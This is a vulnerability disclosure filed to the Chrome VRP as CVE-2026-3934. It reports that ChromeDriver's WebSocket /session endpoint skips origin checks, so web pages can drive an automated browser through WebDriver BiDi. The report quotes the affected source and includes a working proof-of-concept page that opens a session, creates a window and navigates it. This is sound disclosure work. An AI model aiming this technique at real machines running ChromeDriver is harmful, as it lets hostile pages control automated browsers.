CVE-2026-3934
Overview
Fix not yet public
Original Bug Report
Local web pages can open a WebSocket to ChromeDriver and issue WebDriver BiDi commands, exposing the browser automation control surface to arbitrary web content
Report description
Local web pages can open a WebSocket to ChromeDriver and issue WebDriver BiDi commands, exposing the browser automation control surface to arbitrary web content
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://chromium.googlesource.com/chromium/src/
The problem
Please describe the technical details of the vulnerability
1. technical details
Chromedriver exposes an HTTP server that accepts both normal HTTP requests and WebSocket upgrade requests. HTTP requests are protected by origin/host checks, but WebSocket requests are not subject to the same validation.
For HTTP requests, HttpServer::OnHttpRequest enforces RequestIsSafeToServe, which applies policy based on Origin/Host headers and the allow_remote / whitelisted_ips / allowed_origins configuration:
// chrome/test/chromedriver/server/http_server.cc
bool RequestIsSafeToServe(const net::HttpServerRequestInfo& info,
bool allow_remote,
const std::vector<net::IPAddress>& whitelisted_ips,
const std::vector<std::string>& allowed_origins) {
std::string origin_header_value = info.GetHeaderValue("origin");
std::string host_header_value = info.GetHeaderValue("host");
bool is_origin_set = !origin_header_value.empty();
GURL origin_url(origin_header_value);
bool is_origin_local = is_origin_set && net::IsLocalhost(origin_url);
bool is_host_set = !host_header_value.empty();
GURL host_url("http://" + host_header_value);
bool is_host_local = is_host_set && net::IsLocalhost(host_url);
// If origin is localhost, then host needs to be localhost as well.
if (is_origin_local && !is_host_local) {
LOG(ERROR) << "Rejecting request with localhost origin but host: "
<< host_header_value;
return false;
}
if (!allow_remote) {
// If remote is not allowed, both origin and host header need to be
// localhost or not specified.
if (is_origin_set && !is_origin_local) {
LOG(ERROR) << "Rejecting request with non-local origin: "
<< origin_header_value;
return false;
}
if (is_host_set && !is_host_local) {
LOG(ERROR) << "Rejecting request with non-local host: "
<< host_header_value;
return false;
}
} else {
if (is_origin_set && !is_origin_local) {
// Check against allowed list where empty allowed list is special case to
// allow all. Disallow any other non-local origin.
bool allow_all = whitelisted_ips.empty();
if (!allow_all) {
LOG(ERROR) << "Rejecting request with origin set: "
<< origin_header_value;
return false;
}
}
if (is_host_set && !is_host_local) {
return HostIsSafeToServe(host_url, host_header_value, whitelisted_ips,
allowed_origins);
}
}
return true;
}
void HttpServer::OnHttpRequest(int connection_id,
const net::HttpServerRequestInfo& info) {
if (!RequestIsSafeToServe(info, allow_remote_, whitelisted_ips_,
allowed_origins_)) {
server_->Send500(connection_id,
"Host header or origin header is specified and is not "
"whitelisted or localhost.",
TRAFFIC_ANNOTATION_FOR_TESTS);
return;
}
handle_request_func_.Run(
info, base::BindRepeating(&HttpServer::OnResponse,
weak_factory_.GetWeakPtr(), connection_id,
!info.HasHeaderValue("connection", "close")));
}
By contrast, WebSocket upgrade requests are forwarded directly to the higher-layer handler without any call to RequestIsSafeToServe, so the Origin header and any IP allowlist are not enforced for WebSocket connections:
// chrome/test/chromedriver/server/http_server.cc
void HttpServer::OnWebSocketRequest(int connection_id,
const net::HttpServerRequestInfo& info) {
cmd_runner_->PostTask(
FROM_HERE, base::BindOnce(&HttpHandler::OnWebSocketRequest, handler_,
this, connection_id, info));
}
The HttpHandler routes WebSocket requests under /session into the BiDi connection management path and unconditionally accepts the WebSocket, again without checking the request origin:
// chrome/test/chromedriver/server/http_handler.cc
void HttpHandler::OnWebSocketRequest(HttpServerInterface* http_server,
int connection_id,
const net::HttpServerRequestInfo& info) {
std::string path = info.path;
std::vector<std::string> path_parts = base::SplitString(
path, "/", base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);
if (path_parts.size() == 1 && path_parts[0] == "session") {
OnWebSocketUnboundConnectionRequest(http_server, connection_id, info);
return;
}
if (path_parts.size() == 2 && path_parts[0] == "session") {
std::string session_id = path_parts[1];
OnWebSocketAttachToSessionRequest(http_server, connection_id, session_id,
info);
return;
}
std::string err_msg = "bad request received path " + path;
// ...
}
void HttpHandler::OnWebSocketUnboundConnectionRequest(
HttpServerInterface* http_server,
int connection_id,
const net::HttpServerRequestInfo& info) {
auto it = connection_session_map_.find(connection_id);
if (it != connection_session_map_.end()) {
// This should never happen. The block exists just for diagnostics purposes.
std::string err_msg =
"connection is already bound to session_id=" + it->second;
// ...
return;
}
session_connection_map_[""].push_back(connection_id);
connection_session_map_[connection_id] = "";
io_task_runner_->PostTask(
FROM_HERE,
base::BindOnce(&HttpServerInterface::AcceptWebSocket,
base::Unretained(http_server), connection_id, info));
}
Once a WebSocket connection is accepted on /session, the server treats it as a BiDi control channel. Static BiDi commands include session.new, and session-scoped commands are forwarded by name:
// chrome/test/chromedriver/server/http_handler.cc
static_bidi_command_map_.emplace(
"session.status", base::BindRepeating(&ExecuteBidiSessionStatus));
static_bidi_command_map_.emplace(
"session.new",
base::BindRepeating(&ExecuteBidiSessionNew, &session_thread_map_,
init_session_cmd));
session_bidi_command_map_.emplace(
"session.end",
base::BindRepeating(&ExecuteSessionCommand, &session_thread_map_, "Quit",
base::BindRepeating(&ExecuteBidiSessionEnd), true,
true));
Session commands such as browsingContext.navigate are forwarded via ForwardBidiCommand, which ultimately calls into the active browser instance:
// chrome/test/chromedriver/session_commands.cc
Status ForwardBidiCommand(Session* session,
const base::Value::Dict& params,
std::unique_ptr<base::Value>* value) {
// session == nullptr is a valid case: ...
if (session == nullptr) {
return Status{kInvalidArgument, "session not found"};
}
const base::Value::Dict* data = params.FindDict("bidiCommand");
if (!data) {
return Status{kUnknownError, "bidiCommand is missing in params"};
}
std::optional<int> connection_id = params.FindInt("connectionId");
if (!connection_id) {
return Status{kUnknownCommand, "connectionId is missing in params"};
}
WebView* web_view = nullptr;
Status status = session->chrome->GetActivePageByWebViewId(
session->bidi_mapper_web_view_id, &web_view, /*wait_for_page=*/false);
if (status.IsError()) {
return status;
}
base::Value::Dict bidi_cmd = data->Clone();
// ...
status = web_view->PostBidiCommand(std::move(bidi_cmd));
return status;
}
The WebDriver BiDi entry point therefore allows any origin that can open a WebSocket to the local ChromeDriver server to:
- create a new BiDi session; and
- forward BiDi commands that operate the browser instance associated with that session.
On a typical desktop configuration, ChromeDriver listens on localhost:<port>. The browser’s WebSocket API allows web pages from arbitrary origins to connect to ws://localhost:<port> if there is no explicit server-side origin enforcement. Because OnWebSocketRequest and OnWebSocketUnboundConnectionRequest do not consult RequestIsSafeToServe or the IP allowlist, a page opened in the browser can reach the BiDi WebSocket endpoint even when HTTP requests from the same origin would have been rejected by RequestIsSafeToServe.
2. vulnerability reproduction
The attached test page under web/chrome_driver_websocket/index.html acts as a generic WebSocket client from the browser. It allows the user to connect to ws://localhost:<port>/session and execute a minimal BiDi command sequence that opens a new browser window and navigates it to https://www.google.com.
The key parts of the test page are:
<!-- web/chrome_driver_websocket/index.html -->
<div class="panel">
<div class="panel-title">Connection settings</div>
<div class="row">
<label>
Host:
<input id="host" type="text" value="localhost" />
</label>
<label>
Port:
<input id="port" type="number" min="1" max="65535" value="9515" />
</label>
<label>
Path:
<input id="path" type="text" value="/session" />
</label>
</div>
<div class="row">
<button id="connect">Connect</button>
<button id="disconnect" disabled>Disconnect</button>
<div id="status">
Status: <span id="status-text">disconnected</span>
</div>
</div>
</div>
<div class="panel">
<div class="panel-title">Quick navigation</div>
<div class="row" style="margin-top: 8px">
<button id="quick-navigate" disabled>Open google.com</button>
</div>
</div>
In JavaScript, the page opens a WebSocket to the configured endpoint and sends BiDi commands when “Open google.com” is clicked:
// web/chrome_driver_websocket/index.html
function buildWebSocketUrl() {
const host = hostInput.value.trim() || "localhost";
const port = parseInt(portInput.value, 10) || 9515;
let path = pathInput.value.trim() || "/";
if (!path.startsWith("/")) {
path = "/" + path;
}
return `ws://${host}:${port}${path}`;
}
async function runQuickNavigateTest() {
if (!socket || socket.readyState !== WebSocket.OPEN) {
appendLog("Cannot run quick test: connection is not open", "error");
return;
}
try {
// Step 1: create a new BiDi session.
const sessionResponse = await sendBidiCommand({
method: "session.new",
params: {},
});
if (sessionResponse.type !== "success") {
appendLog(
"Quick test: session.new did not succeed",
"error",
);
return;
}
// Step 2: create a new top-level browsing context.
const createResponse = await sendBidiCommand({
method: "browsingContext.create",
params: {
type: "window",
},
});
let contextId = null;
if (
createResponse &&
createResponse.type === "success" &&
createResponse.result &&
typeof createResponse.result.context === "string"
) {
contextId = createResponse.result.context;
}
if (!contextId) {
appendLog(
"Quick test: unable to determine browsing context id",
"error",
);
return;
}
// Step 3: navigate the created context to https://www.google.com.
await sendBidiCommand({
method: "browsingContext.navigate",
params: {
context: contextId,
url: "https://www.google.com",
wait: "complete",
},
});
appendLog(
"Quick test: navigation command sent for https://www.google.com",
"send",
);
} catch (e) {
appendLog(`Quick test failed: ${String(e)}`, "error");
}
}
To reproduce the behavior:
- Start ChromeDriver on the local machine, listening on a known port, for example:
chromedriver --port=9515- The ChromeDriver console prints that it is listening on
localhost:9515and only allows local connections.
- Serve the
web/chrome_driver_websocketdirectory as a static web root and openindex.htmlin the browser (for example, fromhttp://127.0.0.1:PORT/index.html). - In the test page:
- leave
Hostaslocalhost, - set
Portto the ChromeDriver port (e.g.,9515), - keep
Pathas/session, - click Connect.
- leave
- After the log shows “WebSocket connection opened”, click Open google.com.
- Observe that ChromeDriver creates a new browser window (or tab) and navigates it to
https://www.google.com, even though the initiating JavaScript code runs inside a normal web page using the standard WebSocket API.
This demonstrates that a web page can directly open a WebSocket connection to the ChromeDriver server and send BiDi commands that operate the controlled browser instance.
Impact analysis
-
Who can exploit it
- Any web page that the user opens in a browser on the same machine where ChromeDriver is running can attempt to connect to
ws://localhost:<chromedriver-port>/sessionusing the standard WebSocket API. - The attacker does not need network-level access to the machine beyond the browser session; the only requirement is that the browser can reach
localhost:<chromedriver-port>while ChromeDriver is active.
- Any web page that the user opens in a browser on the same machine where ChromeDriver is running can attempt to connect to
-
What they gain
- Because WebSocket connections to
/sessionare accepted without checking the HTTPOriginheader or the IP allowlist, the attacker-controlled page can establish a BiDi channel to ChromeDriver from within the browser. - Through this channel, the page can send WebDriver BiDi commands. The code paths in
http_handler.ccandsession_commands.ccshow that these commands are forwarded to the browser instance managed by ChromeDriver, allowing operations such as creating browsing contexts and navigating them. - The provided proof-of-concept specifically demonstrates that a page can:
- create a new BiDi session; and
- instruct ChromeDriver to open a new browser window and navigate it to an attacker-chosen URL (for example,
https://www.google.com).
- Because WebSocket connections to
-
Scope and limitations
- The observed behavior affects the browser instance launched and controlled by ChromeDriver, which typically runs with a dedicated automation profile rather than the user’s primary browsing profile, unless ChromeDriver is explicitly configured otherwise.
- The proof-of-concept exercises only a small subset of the available BiDi commands (session creation, context creation, and navigation), but the BiDi dispatcher exposes a broader set of commands (
browsingContext.*,script.*,network.*, etc.) that are intended for automation. Once the WebSocket connection is established, these commands are reachable according to the server’s command map. - The impact is therefore best characterized as exposing the ChromeDriver automation control surface to arbitrary web content running in the browser on the same machine. This allows a web page to programmatically drive a Chrome instance started by ChromeDriver (for example, opening windows and navigating them) without additional user interaction, as long as ChromeDriver is running and listening on a local port.
The cause
What version of Chrome have you found the security issue in?
145.0.7632.1/stable
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Permissions Bypass
How would you like to be publicly acknowledged for your report?
Povcfe of Tencent Security Xuanwu Lab